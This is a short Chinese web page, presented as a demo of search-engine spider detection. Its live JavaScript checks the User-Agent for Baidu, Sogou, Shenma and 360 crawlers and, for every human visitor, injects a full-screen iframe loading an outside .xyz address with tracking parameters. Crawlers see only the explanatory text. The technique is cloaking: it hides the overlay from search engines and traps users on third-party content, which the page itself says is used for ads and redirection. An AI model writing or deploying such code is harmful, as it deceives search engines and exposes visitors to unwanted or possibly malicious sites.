蜘蛛检测与iframe覆盖页面
注意:此页面包含蜘蛛检测逻辑。当非蜘蛛用户访问时,会显示全屏iframe覆盖层。
这是一个演示页面,展示了如何检测搜索引擎蜘蛛并在非蜘蛛访问时显示全屏iframe。
检测逻辑
页面加载时会检测用户代理(User-Agent),如果匹配以下蜘蛛,则不显示iframe:
- baiduspider (百度蜘蛛)
- Sogou web spider (搜狗蜘蛛)
- YisouSpider (神马搜索蜘蛛)
- 360Spider (360搜索蜘蛛)
技术实现
// 蜘蛛用户代理列表
const spiderUAs = [
'baiduspider',
'Sogou web spider',
'YisouSpider',
'360Spider'
];
// 检测是否为蜘蛛
function isSpiderUA() {
const userAgent = navigator.userAgent.toLowerCase();
return spiderUAs.some(ua => userAgent.includes(ua.toLowerCase()));
}
// 如果不是蜘蛛,创建并显示iframe
if (!isSpiderUA()) {
const iframe = document.createElement('iframe');
iframe.id = 'overlay-iframe';
iframe.src = 'https://qunixvortex.328563.xyz:8283/?nb=Onerun5-125&bm=qmf&ml=kp';
document.body.appendChild(iframe);
}
页面说明
这个页面主要用于演示蜘蛛检测技术。在实际应用中,可以根据需要调整检测的蜘蛛类型和iframe显示的内容。
如果你是普通用户,应该会看到一个全屏的iframe覆盖层。如果你是搜索引擎蜘蛛,则可以看到这个说明内容。
注意事项
- iframe会覆盖整个页面,阻止用户与原始内容交互
- 蜘蛛可以正常抓取页面内容,有利于SEO
- iframe的src可以替换为任何需要显示的URL
- 这种技术常用于展示广告或重定向用户